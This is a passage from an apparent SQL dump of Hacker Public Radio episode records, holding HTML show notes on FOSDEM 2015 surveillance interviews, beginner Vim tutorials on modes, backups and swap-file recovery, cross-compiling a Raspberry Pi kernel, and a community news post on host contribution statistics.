href=\"https://hackerpublicradio.org/eps.php?id=1649\">https://hackerpublicradio.org/eps.php?id=1649</a>\r\n</p>',282,23,1,'CC-BY-SA','Accessibility, Linux, LUG',0,0,1),
(1713,'2015-02-25','Fosdem 2015: Surveillance vs. Free Software',1246,'Interviews at the Free and Open Source devleopers meeting FOSDEM in Brussels.','<h3>Aaron Williamson</h3>\r\n\r\n<p>\r\nFree Software Law Expert Aaron Williamson held a brilliant talk on the history of internet surveillance in the USA at FOSDEM 2015. \r\nAfter the Paris terror attacks, many politicians want to increase surveillance. British Prime Minister David Cameron wants to read all our emails - even the encrypted ones. Is this the only answer to terror attacks? Aaron has a very strong opinion on this. \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://fosdem.org/2015/schedule/speaker/aaron_williamson/\">https://fosdem.org/2015/schedule/speaker/aaron_williamson/</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>Mathias Kirschner, Free Software Foundation Europe</h3>\r\n\r\n<p>\r\nMatthias is the Vicepresident of the Free Software Foundation Europe. In our interview at Fosdem 2015, he explains the work and the goal of the foundation and how they do lobbying for Free Software in parliaments and government bodies.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://fsfe.org\">https://fsfe.org</a>\r\n</li>\r\n<li><a href=\"https://fsfe.org/about/kirschner\">https://fsfe.org/about/kirschner</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>Torproject - nos ognions</h3>\r\n\r\n<p>\r\nA member of nos-ognions.net, which is part of the Tor project, explains about exit nodes, transparency and surveillance.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://nos-oignons.net/\">https://nos-oignons.net/</a>\r\n</li>\r\n<li><a href=\"https://www.torproject.org/\">https://www.torproject.org/</a>\r\n</li>\r\n</ul>',285,78,0,'CC-BY-SA','Fosdem, Surveillance, Free Software',0,0,1),
(1714,'2015-02-26','Vim Hints 001',1070,'Hints and Tips for Vim users - part 1','<h2 id=\"introduction-to-vim\">Introduction to Vim</h2>\r\n<p>This is the start of the <em>Vim Hints</em> series.</p>\r\n<p>As a Linux user there are many editors available to you. Which one you want to use depends on your needs and the amount of time you want to dedicate to learning how to use it.</p>\r\n<p>One of the editors from the early days of Unix is <em>vi</em>, written in 1976. Contemporary with it is <em>Emacs</em>, also originating in 1976. However, it seemed to become the norm (in my experience anyway) that <em>vi</em> rather than <em>Emacs</em> was provided as standard with versions of Unix, and this has often continued into Linux.</p>\r\n<p>I originally started using Unix around 1988 and found <em>vi</em> available to me. I learnt how to use it in a rudimentary way since I knew I\'d find it on any Unix systems I came across.</p>\r\n<p>Many derivatives and clones of <em>vi</em> have been created. The one which has become the most popular and available is <em>Vim</em>, the name of which is an acronym for <em>Vi IMproved</em>, created in 1991 by Bram Moolenaar. This is what I use, and I have not wanted to learn another editor since adopting it, even though I have experimented with several. This is the editor we will be looking at in this series.</p>\r\n<h3 id=\"whats-the-series-about\">What\'s the series about?</h3>\r\n<p>The thinking behind this series is:</p>\r\n<ul>\r\n<li>You may already be using Vim; there are features you may not be aware of that can be revealed here</li>\r\n<li>You may be using a different, simpler editor; you might want to use Vim and gain from its advanced features</li>\r\n</ul>\r\n<p>Of course, you may prefer to learn Emacs instead. That\'s fine; you should choose the tool that best suits your needs. Both Emacs and Vim have quite steep learning curves, but the broad range of capabilities you gain from knowing either is considerable.</p>\r\n<p>I am not an expert in Vim. In fact I am continuing to learn new Vim features on a regular basis. However, I have been using it for many years and would like to share some of what I have learnt.</p>\r\n<h3 id=\"why-use-vim\">Why use Vim?</h3>\r\n<p>With simpler editors you can move about a file, add, remove and change text and save the results. The editor might have syntax highlighting and some degree of knowledge of the programming language you are typing. You might have spell checking as well.</p>\r\n<p>With Vim and other more advanced editors you have all of this and a lot more. You can perform global changes throughout a file, process many files at once, add plugins to the editor to change its behaviour, and so on. Also, there is a language behind the scenes which can be used to build extensions.</p>\r\n<h3 id=\"using-vim\">Using Vim</h3>\r\n<p>Usually, typing the command <strong>vi</strong> at the command line actually invokes <em>vim</em>. Vim runs in vi-compatible mode by default, which results in Vim enhancements being unavailable.</p>\r\n<p>Vim uses a configuration file, which is called <code>.vimrc</code> on Linux. (Vim will also run on Windows, OSX and other operating systems but we will not be covering these implementations in this series.) Vim also has a GUI interface invoked by the command <code>gvim</code>, and it has its own configuration file <code>.gvimrc</code>.</p>\r\n<p>I you don\'t have a <code>.vimrc</code> create one with <strong><code>touch ~/.vimrc</code></strong> before you start. This will stop Vim running in vi-compatible mode. We will look at what the <code>.vimrc</code> can be used to do later.</p>\r\n<p>You can start Vim on its own without pointing at a file, but normally you use it to edit a file, which need not already exist. So, to create a new file called <code>testfile</code> invoke Vim with the command: <strong><code>vim testfile</code></strong></p>\r\n<p>Once running, Vim shows the contents of the file. All the lines on the screen where there is no content are marked with a tilde &quot;~&quot; character. If you are creating a file the first line on the screen will be blank, and last line will contain the name of the file followed by &quot;[New File]&quot; and some other details which we will examine later:</p>\r\n<pre><code>&quot;testfile&quot; [New File]       0,0-1         All</code></pre>\r\n<p>All the rest of the lines will contain a tilde.</p>\r\n<p>Vim is a <em>modal</em> editor. The mode you usually start in is <em>normal</em> mode where you can move around the lines of the file and perform actions, but nothing you type is actually written to the file. In fact, the keys you type are actually editing commands. This is one of the features of Vim that causes problems for new users.</p>\r\n<p>Since this is a new file there is not much you can do other than enter text, and to do this you need to switch to <em>insert</em> mode. Do this by pressing the <strong>i</strong> key. The message <strong>-- INSERT --</strong> will appear on the bottom line of the screen. Now type some text, pressing the <strong>Enter</strong> key at the end of each line.</p>\r\n<p>You might notice that in <em>insert</em> mode you can press the arrow keys and move back to text you have already typed. This is a Vim feature and was not available in the original vi editor.</p>\r\n<p>When you have finished entering text, press the <strong>Esc</strong> key to exit from <em>insert</em> mode. Now you can move around in <em>normal</em> mode, but remember that the keys you press are now commands not data to be entered into the file.</p>\r\n<p>To move around in <em>normal</em> mode use the arrow keys or the home row keyboard keys: <strong>k</strong> to move up, <strong>j</strong> to move down, <strong>h</strong> to move left and <strong>l</strong> to move right.</p>\r\n<p>This brings us to the last mode we\'ll look at: <em>command</em> mode. To enter this mode press the <strong>:</strong> (colon) key in <em>normal</em> mode. This moves the cursor to the last line of the screen, which starts with the colon you just typed. Here you can enter another class of commands. This time, we\'ll just look at how you can save the file and exit Vim.</p>\r\n<p>Saving the file is achieved with the <strong>w</strong> command, and to exit from Vim the <strong>q</strong> command is used. These can be typed together, so <strong>:wq</strong> writes the file and exits.</p>\r\n<p>If you were to use <strong>:q</strong> on its own, having entered data into Vim, this would not work. Vim prevents you from throwing away your work this way. If you really meant to quit without saving then the <strong>q</strong> must be followed by an exclamation mark (&quot;!&quot;). So <strong>:q!</strong> lets you exit Vim without saving.</p>\r\n<h4 id=\"summary-so-far\">Summary so far</h4>\r\n<ul>\r\n<li>Vim usually starts in <em>normal</em> mode</li>\r\n<li>Arrow keys or <strong>h</strong>, <strong>j</strong>, <strong>k</strong> and <strong>l</strong> for left, down, up and right for navigation in <em>normal</em> mode</li>\r\n<li><strong>i</strong> enters <em>insert</em> mode</li>\r\n<li><strong>Esc</strong> exits from <em>insert</em> mode and reverts to <em>normal</em> mode</li>\r\n<li><strong>:</strong> in <em>normal</em> mode enters <em>command</em> mode</li>\r\n<li><strong>:w</strong> in <em>normal</em> mode writes the file</li>\r\n<li><strong>:wq</strong> in <em>normal</em> mode writes and exits</li>\r\n<li><strong>:q</strong> in <em>normal</em> mode exits but only if nothing was changed or added</li>\r\n<li><strong>:q!</strong> in <em>normal</em> mode exits regardless of any changes</li>\r\n</ul>\r\n<h2 id=\"errata\">Errata</h2>\r\n<ul>\r\n<li>I was wrong about the contents of the last line of the Vim screen in the audio. The notes have been corrected.</li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<h3 id=\"history\">History</h3>\r\n<ul>\r\n<li>Wikipedia page for <em>vi</em> <a href=\"https://en.wikipedia.org/wiki/Vi\">https://en.wikipedia.org/wiki/Vi</a></li>\r\n<li>Wikipedia page for <em>Emacs</em> <a href=\"https://en.wikipedia.org/wiki/Emacs\">https://en.wikipedia.org/wiki/Emacs</a></li>\r\n<li>Wikipedia page for <em>Vim</em> <a href=\"https://en.wikipedia.org/wiki/Vim_(text_editor)\">https://en.wikipedia.org/wiki/Vim_(text_editor)</a></li>\r\n<li>Wikipedia page for Bram Moolenaar <a href=\"https://en.wikipedia.org/wiki/Bram_Moolenaar\">https://en.wikipedia.org/wiki/Bram_Moolenaar</a></li>\r\n</ul>\r\n<h3 id=\"books\">Books</h3>\r\n<ul>\r\n<li><em>Learning the vi and Vim Editors, 7th Edition</em>, by Arnold Robbins, Elbert Hannah, Linda Lamb. <a href=\"https://shop.oreilly.com/product/9780596529833.do\">https://shop.oreilly.com/product/9780596529833.do</a></li>\r\n<li><em>vi and Vim Editors Pocket Reference, 2nd Edition</em>, by Arnold Robbins. Available to buy or as a free PDF. <a href=\"https://it-ebooks.info/book/144/\">https://it-ebooks.info/book/144/</a></li>\r\n<li><em>A Byte of Vim</em>, by Swaroop C H. Available as a free PDF. <a href=\"https://www.swaroopch.com/notes/vim/\">https://www.swaroopch.com/notes/vim/</a></li>\r\n<li><em>The Vim Tutorial and Reference</em>, by Steve Oualline. Available as a free PDF. <a href=\"https://www.oualline.com/vim-book.html\">https://www.oualline.com/vim-book.html</a></li>\r\n</ul>\r\n<h3 id=\"other-resources\">Other resources</h3>\r\n<ul>\r\n<li>Vim Community <a href=\"https://www.vim.org/\">https://www.vim.org/</a></li>\r\n<li>Vim Tips Wiki <a href=\"https://vim.wikia.com/wiki/Vim_Tips_Wiki\">https://vim.wikia.com/wiki/Vim_Tips_Wiki</a></li>\r\n</ul>\r\n',225,82,1,'CC-BY-SA','vim,gvim,editor',0,0,1),
(1717,'2015-03-03','Visualizing electricity',687,'Trying to understand electricity.','<h3>Current</h3>\r\n\r\n<ul>\r\n<li>Amps (what it\'s measured in)\r\n</li>\r\n<li>amount of water. (what i compare it to)\r\n</li>\r\n</ul>\r\n\r\n<h3>Volts</h3>\r\n\r\n<ul>\r\n<li>voltage (what its measured in)\r\n</li>\r\n<li>pressure (what i compare it to)\r\n</li>\r\n</ul>\r\n\r\n<h3>Resistor</h3>\r\n\r\n<ul>\r\n<li>Ohms (what it\'s measured in)\r\n</li>\r\n<li>valve (what i compare it to)\r\n</li>\r\n</ul>',298,0,0,'CC-BY-SA','amps,voltage,ohms',0,0,1),
(1724,'2015-03-12','Vim Hints 002',1540,'Hints and Tips for Vim users - part 2','<h2 id=\"vim-ate-my-homework\">Vim Ate my Homework</h2>\r\n<p>In this episode I want to look at how to keep your work secure with Vim. Next episode we will look at how to create and edit files.</p>\r\n<h3 id=\"avoiding-data-loss-with-a-backup\">Avoiding data loss with a backup</h3>\r\n<p>The best place to start is with the configuration file which we met last episode. As we saw, this is usually <code>$HOME/.vimrc</code>. However, it can also be <code>$HOME/.vim/vimrc</code>, which is actually recommended since it keeps all Vim files in the same place. I use the former, since that\'s the way I have always done it.</p>\r\n<p>Let\'s add some options to this file. Configuration options consist of <em>command</em> mode commands. Actually, to be precise about it, any <a href=\"https://en.wikipedia.org/wiki/Vim_script\">Vim Script</a> expression may be written there.</p>\r\n<p>First it\'s a good idea to ensure that Vim runs with all of its standard features enabled. The option for this is called <strong><code>compatible</code></strong> (meaning compatible with Vi), which we need to turn off. This is done with the option:</p>\r\n<pre><code>set nocompatible</code></pre>\r\n<p>Next, it\'s highly advisable to make Vim generate a backup file whenever it opens a file for editing. The backup file has the same name as the original file with a tilde appended. The configuration command is:</p>\r\n<pre><code>set backup</code></pre>\r\n<p>The backup file is a copy of the file which existed before editing started.</p>\r\n<p>By default the backup file is saved in the same directory as the file being edited. If this is a problem (and to me this is not), then it is possible to tell Vim to save backups in a fixed place. This is done with the command <strong><code>set backupdir=</code></strong> followed by a list of directories. For example:</p>\r\n<pre><code>set backupdir=~/.backup,.,/tmp</code></pre>\r\n<p>If you were to add this to your configuration file, Vim would save backups in a top-level directory <code>~/.backup</code> (which must already exist), then if this fails it will save in the current directory, falling back to <code>/tmp</code> if all else fails. Whether you do this is up to you. I would suggest you do not, at least not until you are more experienced with Vim.</p>\r\n<h3 id=\"undoing-and-redoing-changes\">Undoing and redoing changes</h3>\r\n<p>Vim can undo changes you make to a file. This is useful if a change was the wrong change or in the wrong place. It can also redo the undone change.</p>\r\n<p>The <strong>u</strong> command in <em>normal</em> mode undoes the last change. The <em>redo</em> function is invoked by pressing the <em>Ctrl</em> key while pressing <strong>r</strong>. This key sequence is normally represented as <strong>CTRL-R</strong>.</p>\r\n<p>Vim keeps a record of the changes, so successive <strong>u</strong> commands undo successive changes back in time. Conversely, <strong>CTRL-R</strong> redoes the undone changes forward in time.</p>\r\n<p>Normally the change history is lost when Vim exits, but two configuration options can be used to save it. The <strong>undofile</strong> option ensures change history is written to a file and <strong>undodir</strong> shows the (pre-existing) directory which is to hold these files.</p>\r\n<pre><code>set undodir=~/.vim/undodir\r\nset undofile</code></pre>\r\n<p>It can be a little surprising if you press <strong>u</strong> in a file you have just opened in Vim to find that it undoes something you changed last time you edited it! However, on the whole I think this is a great feature.</p>\r\n<h3 id=\"file-recovery\">File recovery</h3>\r\n<h4 id=\"the-swap-file\">The Swap File</h4>\r\n<p>By default Vim uses a recovery mechanism where it generates a <strong>swap file</strong>. Under Unix and Linux this file has a name built from the name of the file being edited with a dot prepended (making it a hidden file) and with the extension &quot;.swp&quot;. So, if you were editing the file <code>testfile</code> the swap file would be a file called <code>.testfile.swp</code> in the same directory.</p>\r\n<p>It is possible to make Vim write the swap file elsewhere, such as on another partition. You can also turn this recovery capability off. It is probably advisable to use the default settings while you are learning Vim.</p>\r\n<p>The swap file is updated after typing 200 characters or when you have not typed anything for four seconds. The swap file is deleted as soon as Vim stops editing the file.</p>\r\n<h4 id=\"recovery\">Recovery</h4>\r\n<h5 id=\"case-1-there-are-changes-in-the-swap-file\">Case 1: there are changes in the swap file</h5>\r\n<p>If something bad happens during an editing session, such as the loss of power, the swap file will remain after the event. If you know that you need to recover your edit session then you can simply type the following in the directory where the file you were editing exists:</p>\r\n<pre><code>vim -r filename</code></pre>\r\n<p>You will see a message such as the following:</p>\r\n<hr />\r\n<pre><code>Using swap file &quot;.testfile3.swp&quot;\r\nOriginal file &quot;~/testfile3&quot;\r\nRecovery completed. You should check if everything is OK.\r\n(You might want to write out this file under another name\r\nand run diff with the original file to check for changes)\r\nYou may want to delete the .swp file now.\r\n\r\nPress ENTER or type command to continue</code></pre>\r\n<hr />\r\n<p>See the explanation on the <a href=\"https://vim.wikia.com/wiki/Recovering_files\">Vim wiki</a>.</p>\r\n<p>Alternatively, when you try to edit a file you were editing at the time of the failure Vim will detect the presence of a swap file and alert you with a message such as:</p>\r\n<hr />\r\n<pre><code>E325: ATTENTION\r\nFound a swap file by the name &quot;.testfile2.swp&quot;\r\n          owned by: hprdemo   dated: Fri Feb 13 15:33:41 2015\r\n         file name: ~hprdemo/testfile2\r\n          modified: YES\r\n         user name: hprdemo   host name: i7-desktop\r\n        process ID: 16181\r\nWhile opening file &quot;testfile2&quot;\r\n             dated: Sat Dec  6 18:34:32 2014\r\n\r\n(1) Another program may be editing the same file.  If this is the case,\r\n    be careful not to end up with two different instances of the same\r\n    file when making changes.  Quit, or continue with caution.\r\n(2) An edit session for this file crashed.\r\n    If this is the case, use &quot;:recover&quot; or &quot;vim -r testfile2&quot;\r\n    to recover the changes (see &quot;:help recovery&quot;).\r\n    If you did this already, delete the swap file &quot;.testfile2.swp&quot;\r\n    to avoid this message.\r\n\r\nSwap file &quot;.testfile2.swp&quot; already exists!\r\n[O]pen Read-Only, (E)dit anyway, (R)ecover, (D)elete it, (Q)uit, (A)bort:</code></pre>\r\n<hr />\r\n<p>Vim here is indicating that there are unsaved changes that can be recovered. It is also warning that if someone is editing the same file (such as you in another window) this might account for the presence of the swap file.</p>\r\n<p>Assuming it\'s appropriate, you can recover the changes and continue editing by pressing <strong>r</strong> at the above prompt. You will see messages such as the ones above relating to the <code>vim -r filename</code> example.</p>\r\n<p>Be aware that if you continue editing the original swap file will continue to exist and you will get the same message again next time you edit the file. Vim will create a new swap file (called <code>/home/hprdemo/.testfile2.swo</code> in this case) to protect the new editing session.</p>\r\n<p>This situation can be a little confusing if you have not encountered it before. There are a number of ways you can resolve this:</p>\r\n<ol type=\"1\">\r\n<li><p>You can save the recovered file and exit Vim (type <strong>:wq</strong>). You can then edit the same file all over again. You will see almost the same message as before, but you can now delete the swap file by pressing <strong>d</strong>. The message you see the second time round will contain the additional warning that the file you are editing is newer than the swap file - that is because you just saved a new copy of it!</p></li>\r\n<li><p>You can save the file and exit Vim as above, but then explicitly delete the swap file. In the example you would do this by typing: <strong><code>rm    .testfile2.swp</code></strong></p></li>\r\n<li><p>As before you can save the file but this time without exiting Vim (type <strong>:w</strong>). Then tell Vim to re-edit the current file with the command <strong>:e</strong>. You will then see the warning about there being a swap file, and you can type <strong>d</strong> to delete it.</p></li>\r\n</ol>\r\n<h5 id=\"case-2-there-are-no-changes-in-the-swap-file\">Case 2: there are no changes in the swap file</h5>\r\n<p>If, when you see the message about finding a swap file you see that there are no changes to recover you can just delete the swap file by pressing <strong>d</strong>. You can then continue with editing the file as normal.</p>\r\n<h4 id=\"dont-panic\">Don\'t Panic!</h4>\r\n<p>This recovery process is complex because Vim is trying to ensure that you are protected against losing your changes.</p>\r\n<p>As it says in the <a href=\"https://vimdoc.sourceforge.net/htmldoc/recover.html\">Vim manual</a> DON\'T PANIC!</p>\r\n<h3 id=\"summary\">Summary</h3>\r\n<ul>\r\n<li>The configuration file should contain the following:</li>\r\n</ul>\r\n<pre><code>set nocompatible\r\nset backup\r\nset undodir=~/.vim/undodir\r\nset undofile</code></pre>\r\n<ul>\r\n<li>Use <strong>u</strong> in <em>normal</em> mode to undo a change</li>\r\n<li>Use <strong>CTRL-R</strong> in <em>normal</em> mode to redo an undone change</li>\r\n<li>Re-starting Vim after a crash will invoke a recovery dialogue</li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Vim Script (vimscript or viml) <a href=\"https://en.wikipedia.org/wiki/Vim_script\">https://en.wikipedia.org/wiki/Vim_script</a></li>\r\n<li>Recovering files (Vim Wiki) <a href=\"https://vim.wikia.com/wiki/Recovering_files\">https://vim.wikia.com/wiki/Recovering_files</a></li>\r\n<li>Recovery after a crash <a href=\"https://vimdoc.sourceforge.net/htmldoc/recover.html\">https://vimdoc.sourceforge.net/htmldoc/recover.html</a></li>\r\n<li>Vim Community <a href=\"https://www.vim.org/\">https://www.vim.org/</a></li>\r\n<li>Vim Tips Wiki <a href=\"https://vim.wikia.com/wiki/Vim_Tips_Wiki\">https://vim.wikia.com/wiki/Vim_Tips_Wiki</a></li>\r\n</ul>\r\n',225,82,1,'CC-BY-SA','vim,gvim,editor,backup,undo,redo,crash recovery',0,0,1),
(1721,'2015-03-09','Cross-compilers Part 2',2832,'Using one of our cross-compilers to compile a Raspberry Pi kernel','<p>\r\nIn part 1 I described cross-compiling, what it means and why you might\r\nwant to, or even need to use it.\r\n</p>\r\n<p>\r\nI also described how to create a cross-compiler tool-chain using crosstool-ng.\r\n</p>\r\n<p>\r\nIn this show I will demonstrate using one of the cross-compilers which\r\nI created as described in the last show to compile a Raspberry Pi Linux kernel.\r\n</p>\r\n<p>\r\nAs usual with my shows the show-notes can\'t be squashed into 4k, so there is an HTML version at:\r\n</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1721/index.html\">https://hackerpublicradio.org/eps/hpr1721/index.html</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1721/index.md\">https://hackerpublicradio.org/eps/hpr1721/index.md</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1721/kcc\">https://hackerpublicradio.org/eps/hpr1721/kcc</a></li>\r\n<li>Edited: <a href=\"https://hackerpublicradio.org/eps.php?id=1706\">hpr1706 :: Cross-compilers part 1</a></li>\r\n</ul>\r\n',282,0,1,'CC-BY-SA','raspberry pi,kernel,cross-compilation,make',0,0,1),
(1851,'2015-09-07','HPR Community News for August 2015',6867,'HPR Community News for August 2015','<p>\nIn today\'s show Jon, Dave and Ken discuss some topics such as, \n<ul>\n<li>What format to upload show notes in ?</li>\n<li>Multimeter Tutorials <a href=\"https://www.youtube.com/watch?v=ZBbgiBU96mM\">https://www.youtube.com/watch?v=ZBbgiBU96mM</a><br />\n<a href=\"https://www.youtube.com/user/mjlorton\">https://www.youtube.com/user/mjlorton</a>\n</li>\n<li>Lack of community contributions</li>\n</ul>\n<pre>\n\nHi All,\n\nI am concerned as to the health of HPR, and I touched (went on a rant to\nbe honest) on this in the Community News show that will be released\ntomorrow.\n\nWe have 16,495 subscribers and 260 slots per year, so we need to have\nonly 2.5% subscribers contributing to have a different host for every\nday. Unfortunately only 62 managed to contribute a show in the last 365\ndays. I don\'t need Charles in NJ to tell me that that\'s only 0.38% of\nour subscriber base.\n\nAs a project that is supposed to be a \"Community Podcast\", but we\'re\nlooking less like a bar camp and more like a TED talk.\n\nIt gets worse. Dave ran the query of how many shows were contributed by\neach host over the last 365 days. It shows that 50% of the shows have\nbeen contributed by just 5 hosts. This is not to say that submitting\nmultiple shows is bad, far from it. But it\'s the difference between\nwanting to submit multiple shows and *needing* to submit multiple shows,\nthat I\'m concerned about.\n\nSo a few questions for the list:\n\n- Is this a problem ?\n- If so, how do we fix it ?\n\n*Please* do not derail this discussion about your intentions to record a\nshow. I have a in box full of \"I plan to do a show about this\" or \"I\'m\ndefinitely doing a series on that\". More than one are from myself.\nBasically if it\'s not on the server, it\'s not a show.\n\nYou can always add a topic to the requested topic page.\nhttps://gitlab.anhonesthost.com/HPR/HPR_Public_Code/blob/master/www/reque\nsted_topics.html\n\n<img src=\"https://hackerpublicradio.org/eps/hpr1851_hprstats.png\" />\n\nMore Info: <a href=\"https://hackerpublicradio.org/eps/hpr1851_HPR_Health_2015-09-06.ods\">https://hackerpublicradio.org/eps/hpr1851_HPR_Health_2015-09-06.ods</a>\n\nRaw SQL Dump here: \n\n+--------+--------------------------------+-------+\n| hostid | host                           | shows |\n+--------+--------------------------------+-------+\n|    198 | Ahuka                          |    38 |\n|    238 | Jon Kulp                       |    24 |\n|    159 | HPR Volunteers                 |    18 |\n|    225 | Dave Morriss                   |    17 |\n|    131 | FiftyOneFifty                  |    17 |\n|     30 | Ken Fallon                     |    14 |\n|     78 | klaatu                         |     7 |\n|    209 | David Whitman                  |     7 |\n|    280 | semioticrobotic                |     6 |\n|    235 | NYbill                         |     6 |\n|    288 | beni                           |     6 |\n|    195 | Frank Bell                     |     6 |\n|     24 | Lord Drachenblut               |     6 |\n|    287 | corenominal                    |     5 |\n|    282 | Mike Ray                       |     5 |\n|    129 | JWP                            |     4 |\n|    265 | Kevin Wisher                   |     4 |\n|    240 | Steve Bickle                   |     4 |\n|    297 | swift110                       |     4 |\n|    286 | cjm                            |     3 |\n|    285 | 2BFrank                        |     3 |\n|    107 | lostnbronx                     |     3 |\n|    259 | Gabriel Evenfire               |     3 |\n|    215 | Windigo                        |     3 |\n|    296 | Kevie                          |     3 |\n|    300 | b-yeezi                        |     3 |\n|    284 | Steve Smethurst                |     2 |\n|    233 | johanv                         |     2 |\n|    252 | Curtis Adkins (CPrompt^)       |     2 |\n|    294 | daw                            |     2 |\n|    302 | Stilvoid                       |     2 |\n|    197 | garjola                        |     1 |\n|    134 | PipeManMusic                   |     1 |\n|    268 | Andrew Conway                  |     1 |\n|    283 | Inscius                        |     1 |\n|    289 | pyrrhic                        |     1 |\n|    290 | Al                             |     1 |\n|    158 | Various Creative Commons Works |     1 |\n|    109 | Various Hosts                  |     1 |\n|    291 | Rill                           |     1 |\n|    292 | Michal Cieraszynski            |     1 |\n|    270 | Thaj Sara                      |     1 |\n|    293 | Rho`n                          |     1 |\n|    295 | Cibola Jerry                   |     1 |\n|    246 | Beeza                          |     1 |\n|    201 | MrX                            |     1 |\n|    298 | tcuc                           |     1 |\n|    111 | Knightwise                     |     1 |\n|    299 | Fin                            |     1 |\n|    301 | amp                            |     1 |\n|    157 | HPR_AudioBookClub              |     1 |\n|    303 | Alpha32                        |     1 |\n|    306 | GNULinuxRTM                    |     1 |\n|    305 | kurakura                       |     1 |\n|    229 | Charles in NJ                  |     1 |\n|    263 | Tony Pelaez                    |     1 |\n|    307 | cheeto4493                     |     1 |\n|    271 | mirwi                          |     1 |\n|    255 | Matt McGraw (g33kdad)          |     1 |\n|    308 | A Shadowy Figure               |     1 |\n|    309 | folky                          |     1 |\n|    115 | sigflup                        |     1 |\n+--------+--------------------------------+-------+\n\nRegards,\n\nKen Fallon\nhttps://kenfallon.com\nhttps://hackerpublicradio.org/correspondents.php?hostid=30\n</pre>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1826\" target=\"_blank\">1826</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-08-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1826\" target=\"_blank\">HPR Community News for July 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1827\" target=\"_blank\">1827</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-08-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1827\" target=\"_blank\">How I make bread</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1828\" target=\"_blank\">1828</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-08-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1828\" target=\"_blank\">Multimeter Mod&#39;s Part 1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1829\" target=\"_blank\">1829</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-08-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1829\" target=\"_blank\">My &quot;New&quot; Used Kindle DX</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1830\" target=\"_blank\">1830</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-08-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1830\" target=\"_blank\">How Holland Works: GreenWheels</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1831\" target=\"_blank\">1831</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-08-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1831\" target=\"_blank\">Are speed listening and slow background music compatible?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1832\" target=\"_blank\">1832</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-08-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1832\" target=\"_blank\">Simplify writing using markdown and pandoc</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1833\" target=\"_blank\">1833</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-08-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1833\" target=\"_blank\">Resurrecting an IBM T40</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1834\" target=\"_blank\">1834</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-08-13</td>\n    <td align=\"left\"><a 